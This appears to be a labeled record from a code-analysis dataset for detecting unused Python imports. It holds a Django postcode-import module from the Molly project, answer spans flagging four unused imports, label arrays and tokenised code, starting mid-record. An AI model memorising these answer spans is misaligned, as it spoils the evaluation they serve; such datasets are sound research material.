"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u", "ier", "mess_", "[_", "ier_", "]_", "[_", "1_", "]_", "(_", "\\u", "ier", "mess_", "[_", "ier_", "]_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u", "ier", "mess_", "[_", "'", "unknown", "'_", "]_", "[_", "1_", "]_", "(_", "\\u", "ier", "mess_", "[_", "'", "unknown", "'_", "]_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "full", "\\u", "output_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "tc", "k_", ",_", "fp_", ",_", "ier_", ",_", "\\u", "ier", "mess_", "[_", "ier_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "tc", "k_", ",_", "fp_", ",_", "ier_", ",_", "\\u", "ier", "mess_", "[_", "'", "unknown", "'_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "tc", "k_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
mollyproject/mollyproject/molly/apps/places/providers/postcodes.py
[ { "content": "import simplejson\nimport urllib\nimport random\nimport csv\nimport zipfile\nimport tempfile\nimport urllib2\nimport os.path\nimport re\n\nfrom datetime import timedelta\nfrom django.db import transaction, reset_queries\nfrom django.conf import settings\nfrom django.contrib.gis.geos import Point\nfrom django.utils.translation import ugettext_noop\nfrom django.utils.translation import ugettext as _\n\nfrom molly.apps.places.providers import BaseMapsProvider\nfrom molly.apps.places.models import Entity, EntityType, Source, EntityTypeCategory\nfrom molly.utils.i18n import override, set_name_in_language\n\nfrom molly.conf.provider import task\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class PostcodesMapsProvider(BaseMapsProvider):\n\n CODEPOINT_OPEN_URL = 'http://freepostcodes.org.uk/static/code-point-open/codepo_gb.zip'\n MODULE_NAME = \"molly.providers.apps.maps.postcodes\"\n\n\n\n\n", "metadata": "root.PostcodesMapsProvider", "header": "['module', '___EOS___']", "index": 23 }, { "content": " def __init__(self, codepoint_path, import_areas=None):\n self.codepoint_path = codepoint_path\n self.import_areas = import_areas", "metadata": "root.PostcodesMapsProvider.__init__", "header": "['class', 'PostcodesMapsProvider', '(', 'BaseMapsProvider', ')', ':', '___EOS___']", "index": 24 }, { "content": " def _download_codepoint_open(self):\n\n archive_url = urllib2.urlopen(self.CODEPOINT_OPEN_URL)\n archive_file = open(self.codepoint_path, 'wb')\n archive_file.write(archive_url.read())\n archive_file.close()", "metadata": "root.PostcodesMapsProvider._download_codepoint_open", "header": "['class', 'PostcodesMapsProvider', '(', 'BaseMapsProvider', ')', ':', '___EOS___']", "index": 31 }, { "content": " @task(run_every=timedelta(days=365))\n def import_data(self, **metadata):\n\n entity_type, source = self._get_entity_type(), self._get_source()\n \n if not os.path.exists(self.codepoint_path):\n self._download_codepoint_open()\n \n try:\n archive = zipfile.ZipFile(self.codepoint_path)\n except zipfile.BadZipfile:\n self._download_codepoint_open()\n archive = zipfile.ZipFile(self.codepoint_path)\n \n if self.import_areas:\n filenames = ['Code-Point Open/Data/%s.csv' % code.lower() for code in self.import_areas]\n else:\n filenames = [path for path in archive.namelist() if re.match(r'Code\\-Point Open\\/Data\\/[a-z]{1,2}.csv', path)]\n\n for filename in filenames:\n reset_queries()\n with transaction.commit_on_success():\n if hasattr(archive, 'open'):\n f = archive.open(filename)\n else:\n f = tempfile.TemporaryFile()\n f.write(archive.read(filename))\n f.seek(0)\n reader = csv.reader(f)\n self._load_from_csv(reader, entity_type, source)\n del f", "metadata": "root.PostcodesMapsProvider.import_data", "header": "['class', 'PostcodesMapsProvider', '(', 'BaseMapsProvider', ')', ':', '___EOS___']", "index": 38 }, { "content": " def _load_from_csv(self, reader, entity_type, source):\n j = 0\n for i, line in enumerate(reader):\n postcode_abbrev, (easting, northing) = line[0], line[10:12]\n postcode_abbrev = postcode_abbrev.replace(' ', '')\n \n # Now try to figure out where to put the space in\n if re.match(r'[A-Z][0-9]{2}[A-Z]{2}', postcode_abbrev):\n # A9 9AA\n postcode = '%s %s' % (postcode_abbrev[:2], postcode_abbrev[2:])\n elif re.match(r'[A-Z][0-9]{3}[A-Z]{2}', postcode_abbrev):\n # A99 9AA\n postcode = '%s %s' % (postcode_abbrev[:3], postcode_abbrev[3:])\n elif re.match(r'[A-Z]{2}[0-9]{2}[A-Z]{2}', postcode_abbrev):\n # AA9 9AA\n postcode = '%s %s' % (postcode_abbrev[:3], postcode_abbrev[3:])\n elif re.match(r'[A-Z]{2}[0-9]{3}[A-Z]{2}', postcode_abbrev):\n # AA99 9AA\n postcode = '%s %s' % (postcode_abbrev[:4], postcode_abbrev[4:])\n elif re.match(r'[A-Z][0-9][A-Z][0-9][A-Z]{2}', postcode_abbrev):\n # A9A 9AA\n postcode = '%s %s' % (postcode_abbrev[:3], postcode_abbrev[3:])\n elif re.match(r'[A-Z]{2}[0-9][A-Z][0-9][A-Z]{2}', postcode_abbrev):\n # AA9A 9AA\n postcode = '%s %s' % (postcode_abbrev[:4], postcode_abbrev[4:])\n else:\n postcode = postcode_abbrev\n \n try:\n easting, northing = int(easting), int(northing)\n except ValueError:\n continue\n \n j += 1\n \n try:\n entity = Entity.objects.get(source=source, _identifiers__scheme='postcode', _identifiers__value=postcode_abbrev)\n except Entity.DoesNotExist:\n entity = Entity(source=source)\n \n entity.location = Point(easting, northing, srid=27700)\n entity.geometry = entity.location\n entity.primary_type = entity_type\n \n identifiers = {\n 'postcode': postcode_abbrev,\n 'postcode-canonical': postcode,\n }\n entity.save(identifiers=identifiers)\n set_name_in_language(entity, 'en',\n title = postcode)\n entity.all_types.add(entity_type)\n entity.update_all_types_completion()", "metadata": "root.PostcodesMapsProvider._load_from_csv", "header": "['class', 'PostcodesMapsProvider', '(', 'BaseMapsProvider', ')', ':', '___EOS___']", "index": 70 }, { "content": " def _get_entity_type(self):\n category, created = EntityTypeCategory.objects.get_or_create(name=ugettext_noop('Uncategorised'))\n verbose_names = {}\n for lang_code, lang_name in settings.LANGUAGES:\n verbose_names[lang_code] = (_('postcode'), _('a postcode'), _('postcodes'))\n defaults = {'verbose_names': verbose_names }\n entity_type, created = EntityType.objects.get_or_create(\n slug='post-code', category=category, defaults=defaults)\n if created:\n entity_type.show_in_nearby_list = False\n entity_type.show_in_category_list = False\n entity_type.save()\n return entity_type", "metadata": "root.PostcodesMapsProvider._get_entity_type", "header": "['class', 'PostcodesMapsProvider', '(', 'BaseMapsProvider', ')', ':', '___EOS___']", "index": 124 }, { "content": " def _get_source(self):\n try:\n source = Source.objects.get(module_name=self.MODULE_NAME)\n except Source.DoesNotExist:\n source = Source(module_name=self.MODULE_NAME)\n\n source.name = \"Postcodes\"\n source.save()\n\n return source", "metadata": "root.PostcodesMapsProvider._get_source", "header": "['class', 'PostcodesMapsProvider', '(', 'BaseMapsProvider', ')', ':', '___EOS___']", "index": 138 } ]
[ { "span": "import simplejson", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 17 }, { "span": "import urllib", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 13 }, { "span": "import random", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 13 }, { "span": "from molly.utils.i18n import override, set_name_in_language", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 59 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "simplejson_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "csv_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "zipfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "datetime_", "import_", "timedelta_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "transaction_", ",_", "reset", "\\u", "queries_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "gis_", "._", "geos", "_", "import_", "Point_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "uge", "ttext", "\\u", "noop_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "ugettext_", "as_", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "mol", "ly_", "._", "apps_", "._", "places_", "._", "providers_", "import_", "Base", "Map", "s", "Provider_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "mol", "ly_", "._", "apps_", "._", "places_", "._", "models_", "import_", "Entity_", ",_", "Entit", "y", "Type_", ",_", "Source_", ",_", "Entit", "y", "Type", "Category_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "mol", "ly_", "._", "utils_", "._", "i18n_", "import_", "override_", ",_", "set\\u", "name", "\\u", "in", "\\u", "language_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "mol", "ly_", "._", "conf_", "._", "provider_", "import_", "task_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Post", "codes", "Map", "s", "Provider_", "(_", "Base", "Map", "s", "Provider_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "CODE", "POINT", "\\u", "OPEN", "\\u", "URL_", "=_", "'", "http", "://", "free", "postcode", "s", ".", "org", ".", "uk", "/", "static", "/", "code", "-", "point", "-", "open", "/", "code", "po", "\\u", "gb", ".", "zip", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "MODUL", "E", "\\u", "NAME_", "=_", "\"", "mol", "ly", ".", "provide", "rs", ".", "apps", ".", "maps", ".", "postcode", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Post", "codes", "Map", "s", "Provider_", "(_", "Base", "Map", "s", "Provider_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "codepoint", "\\u", "path_", ",_", "import", "\\u", "areas_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "codepoint", "\\u", "path_", "=_", "codepoint", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "import", "\\u", "areas_", "=_", "import", "\\u", "areas_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Post", "codes", "Map", "s", "Provider_", "(_", "Base", "Map", "s", "Provider_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "download", "\\u", "codepoint", "\\u", "open_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "archive", "\\u", "url_", "=_", "urllib2_", "._", "urlopen_", "(_", "self_", "._", "CODE", "POINT", "\\u", "OPEN", "\\u", "URL_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "archive", "\\u", "file_", "=_", "open_", "(_", "self_", "._", "codepoint", "\\u", "path_", ",_", "'", "wb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "archive", "\\u", "file_", "._", "write_", "(_", "archive", "\\u", "url_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "archive", "\\u", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Post", "codes", "Map", "s", "Provider_", "(_", "Base", "Map", "s", "Provider_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "task_", "(_", "run", "\\u", "every_", "=_", "timedelta_", "(_", "days_", "=_", "365_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "import", "\\u", "data_", "(_", "self_", ",_", "**_", "metadata_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "entity", "\\u", "type_", ",_", "source_", "=_", "self_", "._", "\\u", "get", "\\u", "entity", "\\u", "type_", "(_", ")_", ",_", "self_", "._", "\\u", "get", "\\u", "source_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "self_", "._", "codepoint", "\\u", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "download", "\\u", "codepoint", "\\u", "open_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "archive_", "=_", "zipfile_", "._", "Zip", "File_", "(_", "self_", "._", "codepoint", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zipfile_", "._", "Ba", "d", "Zip", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "download", "\\u", "codepoint", "\\u", "open_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "archive_", "=_", "zipfile_", "._", "Zip", "File_", "(_", "self_", "._", "codepoint", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "import", "\\u", "areas_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "filenames_", "=_", "[_", "'", "Code", "-", "Point", " ", "Open", "/", "Data", "/", "%", "s", ".", "csv", "'_", "%_", "code_", "._", "lower_", "(_", ")_", "for_", "code_", "in_", "self_", "._", "import", "\\u", "areas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "filenames_", "=_", "[_", "path_", "for_", "path_", "in_", "archive_", "._", "namelist_", "(_", ")_", "if_", "re_", "._", "match_", "(_", "r", "'", "Code", "\\\\", "-", "Point", " ", "Open", "\\\\/", "Data", "\\\\/", "[", "a", "-", "z", "]{", "1", ",", "2", "}.", "csv", "'_", ",_", "path_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "filename_", "in_", "filenames_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reset", "\\u", "queries_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "transaction_", "._", "commit", "\\u", "on", "\\u", "success_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "hasattr_", "(_", "archive_", ",_", "'", "open", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "f_", "=_", "archive_", "._", "open_", "(_", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "f_", "=_", "tempfile_", "._", "Tempora", "ry", "File_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "archive_", "._", "read_", "(_", "filename_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "seek_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "reader_", "=_", "csv_", "._", "reader_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "load", "\\u", "from", "\\u", "csv_", "(_", "reader_", ",_", "entity", "\\u", "type_", ",_", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Post", "codes", "Map", "s", "Provider_", "(_", "Base", "Map", "s", "Provider_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "load", "\\u", "from", "\\u", "csv_", "(_", "self_", ",_", "reader_", ",_", "entity", "\\u", "type_", ",_", "source_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "j_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "reader_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "postcode", "\\u", "abbrev", "_", ",_", "(_", "east", "ing_", ",_", "north", "ing_", ")_", "=_", "line_", "[_", "0_", "]_", ",_", "line_", "[_", "10_", ":_", "12_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "postcode", "\\u", "abbrev", "_", "=_", "postcode", "\\u", "abbrev", "_", "._", "replace_", "(_", "'", " ", "'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", "w", " ", "try", " ", "to", " ", "figure", " ", "out", " ", "where", " ", "to", " ", "put", " ", "the", " ", "space", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "re_", "._", "match_", "(_", "r", "'[", "A", "-", "Z", "][", "0", "-", "9", "]{", "2", "}[", "A", "-", "Z", "]{", "2", "}'_", ",_", "postcode", "\\u", "abbrev", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "A9", " ", "9", "AA_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "postcode", "_", "=_", "'%", "s", " ", "%", "s", "'_", "%_", "(_", "postcode", "\\u", "abbrev", "_", "[_", ":_", "2_", "]_", ",_", "postcode", "\\u", "abbrev", "_", "[_", "2_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "re_", "._", "match_", "(_", "r", "'[", "A", "-", "Z", "][", "0", "-", "9", "]{", "3", "}[", "A", "-", "Z", "]{", "2", "}'_", ",_", "postcode", "\\u", "abbrev", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "A9", "9", " ", "9", "AA_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "postcode", "_", "=_", "'%", "s", " ", "%", "s", "'_", "%_", "(_", "postcode", "\\u", "abbrev", "_", "[_", ":_", "3_", "]_", ",_", "postcode", "\\u", "abbrev", "_", "[_", "3_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "re_", "._", "match_", "(_", "r", "'[", "A", "-", "Z", "]{", "2", "}[", "0", "-", "9", "]{", "2", "}[", "A", "-", "Z", "]{", "2", "}'_", ",_", "postcode", "\\u", "abbrev", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "AA", "9", " ", "9", "AA_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "postcode", "_", "=_", "'%", "s", " ", "%", "s", "'_", "%_", "(_", "postcode", "\\u", "abbrev", "_", "[_", ":_", "3_", "]_", ",_", "postcode", "\\u", "abbrev", "_", "[_", "3_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "re_", "._", "match_", "(_", "r", "'[", "A", "-", "Z", "]{", "2", "}[", "0", "-", "9", "]{", "3", "}[", "A", "-", "Z", "]{", "2", "}'_", ",_", "postcode", "\\u", "abbrev", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "AA", "9", "9", " ", "9", "AA_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "postcode", "_", "=_", "'%", "s", " ", "%", "s", "'_", "%_", "(_", "postcode", "\\u", "abbrev", "_", "[_", ":_", "4_", "]_", ",_", "postcode", "\\u", "abbrev", "_", "[_", "4_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "re_", "._", "match_", "(_", "r", "'[", "A", "-", "Z", "][", "0", "-", "9", "][", "A", "-", "Z", "][", "0", "-", "9", "][", "A", "-", "Z", "]{", "2", "}'_", ",_", "postcode", "\\u", "abbrev", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "A9", "A", " ", "9", "AA_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "postcode", "_", "=_", "'%", "s", " ", "%", "s", "'_", "%_", "(_", "postcode", "\\u", "abbrev", "_", "[_", ":_", "3_", "]_", ",_", "postcode", "\\u", "abbrev", "_", "[_", "3_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "re_", "._", "match_", "(_", "r", "'[", "A", "-", "Z", "]{", "2", "}[", "0", "-", "9", "][", "A", "-", "Z", "][", "0", "-", "9", "][", "A", "-", "Z", "]{", "2", "}'_", ",_", "postcode", "\\u", "abbrev", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "AA", "9", "A", " ", "9", "AA_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "postcode", "_", "=_", "'%", "s", " ", "%", "s", "'_", "%_", "(_", "postcode", "\\u", "abbrev", "_", "[_", ":_", "4_", "]_", ",_", "postcode", "\\u", "abbrev", "_", "[_", "4_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "postcode", "_", "=_", "postcode", "\\u", "abbrev", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "east", "ing_", ",_", "north", "ing_", "=_", "int_", "(_", "east", "ing_", ")_", ",_", "int_", "(_", "north", "ing_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "j_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "entity_", "=_", "Entity_", "._", "objects_", "._", "get_", "(_", "source_", "=_", "source_", ",_", "\\u", "identifi", "ers", "\\u\\u", "scheme_", "=_", "'", "postcode", "'_", ",_", "\\u", "identifi", "ers", "\\u\\u", "value_", "=_", "postcode", "\\u", "abbrev", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Entity_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "entity_", "=_", "Entity_", "(_", "source_", "=_", "source_", ")_", 